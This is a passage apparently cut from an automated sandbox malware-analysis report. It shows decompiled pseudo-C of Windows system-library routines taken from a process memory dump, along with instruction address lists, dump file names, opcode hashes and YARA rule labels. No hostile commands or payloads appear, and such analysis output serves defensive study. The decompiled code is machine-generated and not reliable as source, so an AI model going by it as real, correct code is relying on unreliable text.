															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E1E0F52A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E1E10EB70(1, 0x1e1e79a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E1E10AA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E1E1395D0();
																			L1E1177F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L1E1177F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E1E13B640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E1E133D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E1E13B640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x1e114128
0x1e114135
0x1e11413c
0x1e114141
0x1e114145
0x1e114147
0x1e11414e
0x1e114151
0x1e114159
0x1e11415c
0x1e114160
0x1e114164
0x1e114168
0x1e11416c
0x1e11417f
0x1e114181
0x1e11446a
0x1e11446a
0x1e11418c
0x1e114195
0x1e114199
0x1e114432
0x1e114439
0x1e11443d
0x1e114442
0x1e114447
0x00000000
0x1e11419f
0x1e1141a3
0x1e1141b1
0x1e1141b9
0x1e1141bd
0x1e1145db
0x1e1145db
0x00000000
0x1e1141c3
0x1e1141c3
0x1e1141ce
0x1e1141d4
0x1e15e138
0x1e15e13e
0x1e15e169
0x1e15e16d
0x1e15e19e
0x1e15e16f
0x1e15e16f
0x1e15e175
0x1e15e179
0x1e15e18f
0x1e15e193
0x00000000
0x1e15e199
0x00000000
0x1e15e199
0x1e15e193
0x00000000
0x00000000
0x00000000
0x1e1141da
0x1e1141da
0x1e1141df
0x1e1141e4
0x1e1141ec
0x1e114203
0x1e114207
0x1e15e1fd
0x1e114222
0x1e114226
0x1e15e1f3
0x1e15e1f3
0x1e11422c
0x1e11422c
0x1e114233
0x1e15e1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1e114239
0x1e114239
0x1e114239
0x1e114239
0x1e114233
0x1e114226
0x1e1141ee
0x1e1141ee
0x1e1141f4
0x1e114575
0x1e15e1b1
0x1e15e1b1
0x00000000
0x1e11457b
0x1e11457b
0x1e114582
0x1e15e1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x1e114588
0x1e114588
0x1e11458c
0x1e15e1c4
0x1e15e1c4
0x00000000
0x1e114592
0x1e114592
0x1e114599
0x1e15e1be
0x00000000
0x00000000
0x00000000
0x00000000
0x1e11459f
0x1e11459f
0x1e1145a3
0x1e15e1d7
0x1e15e1e4
0x00000000
0x1e1145a9
0x1e1145a9
0x1e1145b0
0x1e15e1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x1e1145b6
0x1e1145b6
0x1e1145b6
0x00000000
0x1e1145b6
0x1e1145b0
0x1e1145a3
0x1e114599
0x1e11458c
0x1e114582
0x00000000
0x00000000
0x00000000
0x00000000
0x1e1141f4
0x1e11423e
0x1e114241
0x1e1145c0
0x1e1145c4
0x00000000
0x1e1145ca
0x1e1145ca
0x00000000
0x1e15e207
0x1e15e20f
0x00000000
0x00000000
0x00000000
0x00000000
0x1e1145d1
0x00000000
0x00000000
0x1e1145ca
0x00000000
0x1e114247
0x1e114247
0x1e114247
0x1e114249
0x1e114249
0x1e114249
0x1e114251
0x1e114251
0x1e114257
0x1e11425f
0x1e11426e
0x1e114270
0x1e11427a
0x1e15e219
0x1e15e219
0x1e114280
0x1e114282
0x1e114456
0x1e1145ea
0x00000000
0x1e1145f0
0x1e15e223
0x00000000
0x1e15e223
0x1e11445c
0x1e11445c
0x00000000
0x1e11445c
0x00000000
0x1e114288
0x1e11428c
0x1e15e298
0x1e114292
0x1e114292
0x1e11429e
0x1e1142a3
0x1e1142a7
0x1e1142ac
0x1e15e22d
0x1e1142b2
0x1e1142b2
0x1e1142b9
0x1e1142bc
0x1e1142c2
0x1e1142ca
0x1e1142cd
0x1e1142cd
0x1e1142d4
0x1e11433f
0x1e11433f
0x1e1142d6
0x1e1142d6
0x1e1142d9
0x1e1142dd
0x1e1142eb
0x1e15e23a
0x1e1142f1
0x1e114305
0x1e11430d
0x1e114315
0x1e114318
0x1e11431f
0x1e114322
0x1e11432e
0x1e11433b
0x1e11433b
0x00000000
0x1e11432e
0x1e1142eb
0x1e11434c
0x1e11434e
0x1e114352
0x1e114359
0x1e11435e
0x1e114361
0x1e11436e
0x1e11438a
0x1e11438e
0x1e114396
0x1e11439e
0x1e1143a1
0x1e1143ad
0x1e1143bb
0x1e1143bb
0x1e1143ad
0x1e11436e
0x1e1143bf
0x1e1143c5
0x1e114463
0x1e114463
0x1e1143ce
0x1e1143d5
0x1e1143d9
0x1e1143df
0x1e114475
0x1e114479
0x1e114491
0x1e114491
0x1e114479
0x1e1143e5
0x1e1143eb
0x1e1143f4
0x1e1143f6
0x1e1143f9
0x1e1143fc
0x1e1143ff
0x1e1144e8
0x1e1144ed
0x1e1144f3
0x1e15e247
0x00000000
0x1e1144f9
0x1e114504
0x1e114508
0x1e11450f
0x1e15e269
0x00000000
0x1e114515
0x1e114519
0x1e114531
0x1e114534
0x1e114537
0x1e11453e
0x1e114541
0x1e11454a
0x1e15e255
0x1e15e255
0x1e15e25b
0x1e15e25e
0x1e15e261
0x1e15e261
0x1e114555
0x1e114559
0x1e11455d
0x1e15e26d
0x1e15e270
0x1e15e274
0x1e15e27a
0x1e15e27d
0x1e15e28e
0x1e15e28e
0x1e114563
0x1e114563
0x1e114569
0x1e114569
0x00000000
0x1e11455d
0x1e11450f
0x00000000
0x1e1144f3
0x1e1143ff
0x1e114405
0x1e114405
0x1e114405
0x1e1142ac
0x1e11428c
0x1e114282
0x1e114407
0x1e11440d
0x1e15e2af
0x1e15e2af
0x1e114413
0x1e114413
0x00000000
0x1e1141d4
0x00000000
0x1e1141c3
0x1e1141bd
0x1e114415
0x1e114415
0x1e114416
0x1e114417
0x1e114429
0x1e11416e
0x1e11416e
0x1e114175
0x1e114498
0x1e11449f
0x1e15e12d
0x00000000
0x1e15e133
0x00000000
0x1e15e133
0x1e1144a5
0x1e1144a5
0x1e1144aa
0x00000000
0x1e1144bb
0x1e1144ca
0x1e1144d6
0x1e1144d7
0x1e1144d8
0x1e1144e3
0x1e1144e3
0x1e1144aa
0x1e11417b
0x1e11417b
0x1e11417b
0x00000000
0x1e11417b
0x1e114175
0x00000000

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39c7d7b91b4bb1263e0f9b76165f25ecae195645ceb03b5e8514a13b6027cea5
Instruction ID: 6ef2b56e43ca1ce2d0431358f5310821aaaf4b0507f425d66504d5d1e2c7b186
Opcode Fuzzy Hash: 39c7d7b91b4bb1263e0f9b76165f25ecae195645ceb03b5e8514a13b6027cea5
Instruction Fuzzy Hash: F2F19E74A583518BC714CF29C590A2AB7E2FF89B14F158A2EF496CB750E734D8C1CB52

Uniqueness

Uniqueness Score: -1.00%

Function 1E1220A0, Relevance: .4, Instructions: 420
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E1E1220A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0x1e1e8714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = E1E122EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = E1E122EB0(_t240 + 8);
									__eflags = _t197 - 2;
									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E1E0F58EC(_t240);
									_t221 =  *0x1e1e5cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0x1e1e5cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E1E134A2C(0x1e1e6e40, 0x1e134b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = E1E117D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0x1e0d5c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = E1E12F6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = E1E12F6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E1E177016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L1E112400(_t267 + 0x20);
															}
															L1E112400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E1E122397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E1E112280(_t134, 0x1e1e8608);
									__eflags =  *0x1e1e6e48 - _t253; // 0x80b1f0
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										E1E10FFB0(_t198, _t241, 0x1e1e8608);
										__eflags = _t253;
										if(_t253 != 0) {
											L1E1177F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0x1e1e6e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0x1e1e8608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E1E126B90(_t210,  &_v64);
										_t262 =  *0x1e1e8608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E1E12E180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										E1E1397C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E1E13006A(0x1e1e8608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0x1e1e8608);
												E1E13B180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0x1e1e6904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
							_t229 =  *0x1e1e6e48; // 0x80b1f0
							_v72 = _t229;
							if(_t229 == 0) {
								L45:
								E1E10FFB0(_t198, _t240, 0x1e1e8608);
								_t253 = _v76;
								goto L29;
							}
							if( *((char*)(_t229 + 0x40)) != 0) {
								L13:
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E1E1300C2(0x1e1e8608, 0, _t235);
									}
									_t229 = _v72;
								}
								goto L14;
							}
							_t18 = _t229 + 0x38; // 0x8
							if( *_t18 !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								goto L45;
							}
							goto L13;
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}

0x1e1220a0
0x1e1220a8
0x1e1220ad
0x1e1220b3
0x1e1220b8
0x1e1220c2
0x1e1220c7
0x1e1220cb
0x1e1220d2
0x1e122263
0x1e122266
0x1e165836
0x1e165836
0x00000000
0x1e12226c
0x1e12226c
0x1e122270
0x1e122274
0x1e1220e2
0x1e1220e2
0x1e1220e6
0x1e1220ee
0x1e1657dc
0x1e1657de
0x1e1657ec
0x1e1657ec
0x1e1657f1
0x1e1657f3
0x1e1657f8
0x00000000
0x1e1657f8
0x1e1657e0
0x1e1657e4
0x1e1657ea
0x00000000
0x00000000
0x00000000
0x1e1657ea
0x1e1220f4
0x1e1220f4
0x1e1220f8
0x1e1220f8
0x1e1220fc
0x1e122100
0x1e122106
0x1e122201
0x1e122206
0x1e12220b
0x1e12220e
0x1e1222a9
0x1e1222ac
0x00000000
0x00000000
0x1e1222b2
0x1e1222b5
0x1e165801
0x1e165806
0x00000000
0x00000000
0x1e165810
0x1e165815
0x1e165818
0x00000000
0x00000000
0x1e16581e
0x1e1222bb
0x1e1222bb
0x1e122218
0x1e122218
0x1e12221c
0x1e122220
0x1e122222
0x1e1222c2
0x1e1222c4
0x1e1222dc
0x1e1222dc
0x1e1222e1
0x00000000
0x00000000
0x00000000
0x1e1222e7
0x1e1222c8
0x1e1222cd
0x1e1222d3
0x1e1222d6
0x1e165823
0x1e165825
0x1e165827
0x00000000
0x00000000
0x1e16582d
0x00000000
0x1e16582d
0x00000000
0x1e122228
0x1e122228
0x00000000
0x1e122228
0x1e122222
0x1e122214
0x1e122214
0x00000000
0x1e122114
0x1e122114
0x1e122114
0x1e12211a
0x1e12211c
0x1e122348
0x1e12234d
0x1e165840
0x1e165845
0x1e165848
0x1e16584e
0x1e16584e
0x1e165848
0x1e122353
0x1e122355
0x1e122388
0x1e122388
0x1e122368
0x1e12236a
0x1e12236c
0x1e12238f
0x00000000
0x1e12236e
0x1e12236e
0x1e12218e
0x1e12218e
0x1e122191
0x1e122195
0x1e165a03
0x1e165a06
0x1e165a0c
0x1e165a0f
0x1e165a11
0x1e165a13
0x1e165a13
0x1e165a19
0x1e165a1f
0x00000000
0x1e12219b
0x1e12219b
0x1e1221a0
0x1e122282
0x1e122284
0x1e122284
0x1e122284
0x1e122284
0x1e1221a6
0x1e1221a9
0x1e1221ac
0x1e1221ae
0x1e1221b3
0x1e12228b
0x1e122290
0x1e122379
0x1e122296
0x1e122298
0x1e122298
0x1e122290
0x1e1221b9
0x1e1221be
0x1e1222a2
0x1e1222a2
0x1e1221c4
0x1e1221c8
0x1e1221cc
0x1e1221d0
0x1e1221d4
0x1e1221de
0x1e1221e3
0x1e165a29
0x1e165a2c
0x00000000
0x00000000
0x1e165a3b
0x00000000
0x1e1221e9
0x1e1221e9
0x1e1221e9
0x1e1221ee
0x1e1221f1
0x1e165a45
0x1e165a4b
0x1e165a52
0x1e165a58
0x1e165a5d
0x1e165a5f
0x1e165a71
0x1e165a61
0x1e165a6a
0x1e165a6a
0x1e165a76
0x1e165a79
0x1e165a7f
0x1e165a83
0x1e165a85
0x1e165a87
0x1e165a87
0x1e165a8c
0x1e165a91
0x1e165a97
0x1e165a9f
0x1e165aa0
0x1e165aa1
0x1e165aa6
0x1e165aab
0x1e165ab1
0x1e165ab3
0x1e165ab9
0x1e165aca
0x1e165ad4
0x1e165ad4
0x1e165ade
0x1e165ade
0x1e165aab
0x1e165a79
0x1e165a52
0x1e1221f7
0x1e1221f9
0x1e1221fe
0x1e1221fe
0x1e1221e3
0x1e122195
0x1e12236c
0x1e122122
0x1e122122
0x1e122124
0x1e122231
0x1e122236
0x1e122236
0x1e122238
0x1e122238
0x1e122240
0x1e122242
0x1e122244
0x1e1659fc
0x1e12218c
0x1e12218c
0x00000000
0x1e12218c
0x1e12224a
0x1e12224f
0x1e122256
0x1e122304
0x1e122309
0x1e12230f
0x1e12231e
0x1e12231e
0x1e12231e
0x1e122320
0x1e122325
0x1e12232a
0x1e12232c
0x1e12233e
0x1e12233e
0x00000000
0x1e12232c
0x1e122311
0x1e122317
0x1e12231a
0x1e12231c
0x1e122380
0x1e122380
0x1e122380
0x1e122384
0x00000000
0x00000000
0x1e122386
0x00000000
0x1e12231c
0x1e12225c
0x1e12225c
0x00000000
0x1e12225c
0x1e12212a
0x1e122134
0x1e122138
0x1e12213d
0x1e165858
0x1e165863
0x1e165863
0x1e165867
0x1e16586a
0x00000000
0x00000000
0x1e16586c
0x1e16586c
0x1e165871
0x1e165875
0x1e165877
0x1e165997
0x1e16599c
0x1e1659a1
0x1e1659a7
0x1e1659a7
0x00000000
0x1e1659a7
0x1e16587d
0x00000000
0x1e16588b
0x1e16588b
0x1e165890
0x1e165892
0x1e165894
0x1e165899
0x1e16589b
0x1e1658a0
0x1e1658a0
0x1e1658aa
0x1e1658b2
0x1e1658b6
0x1e1658be
0x1e1658c6
0x1e1658c9
0x1e16590d
0x1e165917
0x1e16591a
0x1e16591c
0x1e165920
0x1e165928
0x1e16592a
0x1e16592c
0x1e16592e
0x1e16592e
0x1e1658cb
0x1e1658cd
0x1e1658d8
0x1e1658e0
0x1e1658f4
0x1e1658fe
0x1e1658fe
0x1e16593a
0x1e16593e
0x1e165940
0x1e165942
0x00000000
0x1e165944
0x1e165944
0x1e165949
0x1e16594e
0x1e16594e
0x1e165953
0x1e16595b
0x1e165976
0x1e165976
0x1e16597a
0x1e16597f
0x00000000
0x00000000
0x00000000
0x00000000
0x1e165981
0x1e165981
0x1e165981
0x1e165983
0x1e165988
0x1e16598d
0x1e165991
0x1e165991
0x00000000
0x1e16595d
0x1e16595d
0x1e165963
0x1e165965
0x00000000
0x00000000
0x00000000
0x00000000
0x1e165967
0x1e165967
0x1e16596b
0x1e16596d
0x00000000
0x00000000
0x1e16596f
0x1e165971
0x1e165971
0x1e165974
0x00000000
0x00000000
0x00000000
0x1e165974
0x00000000
0x1e165967
0x1e16595b
0x1e165942
0x1e165863
0x1e122143
0x1e122143
0x1e122149
0x1e12214f
0x1e1222ec
0x1e1222f1
0x1e1222f6
0x00000000
0x1e1222f6
0x1e122159
0x1e122173
0x1e122173
0x1e12217d
0x1e122181
0x1e122186
0x1e1659ae
0x1e1659b2
0x1e1659b5
0x1e1659b7
0x1e1659ba
0x1e1659cd
0x1e1659d1
0x1e1659d5
0x1e1659d9
0x1e1659db
0x00000000
0x00000000
0x1e1659dd
0x1e1659dd
0x1e1659e1
0x1e1659e4
0x1e1659e7
0x1e1659ee
0x1e1659ee
0x1e1659f3
0x1e1659f3
0x00000000
0x1e122186
0x1e122164
0x1e12216d
0x00000000
0x00000000
0x00000000
0x1e12216d
0x1e122106
0x1e122266
0x1e1220d8
0x1e1220da
0x1e1220e0
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2691a1768678c4b997a9c719178a79cc07948549fb566bb4ee05119645260869
Instruction ID: 44c832fb50c533c65099370d27df42d9aa84a441d140dfa857a4d23f34d0c2bf
Opcode Fuzzy Hash: 2691a1768678c4b997a9c719178a79cc07948549fb566bb4ee05119645260869
Instruction Fuzzy Hash: ECF10631A083828FD711CF25C940B9E77E2AF89B24F758B2DE8959B284D775D8C1CB42

Uniqueness

Uniqueness Score: -1.00%

Function 1E10B090, Relevance: .4, Instructions: 405
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

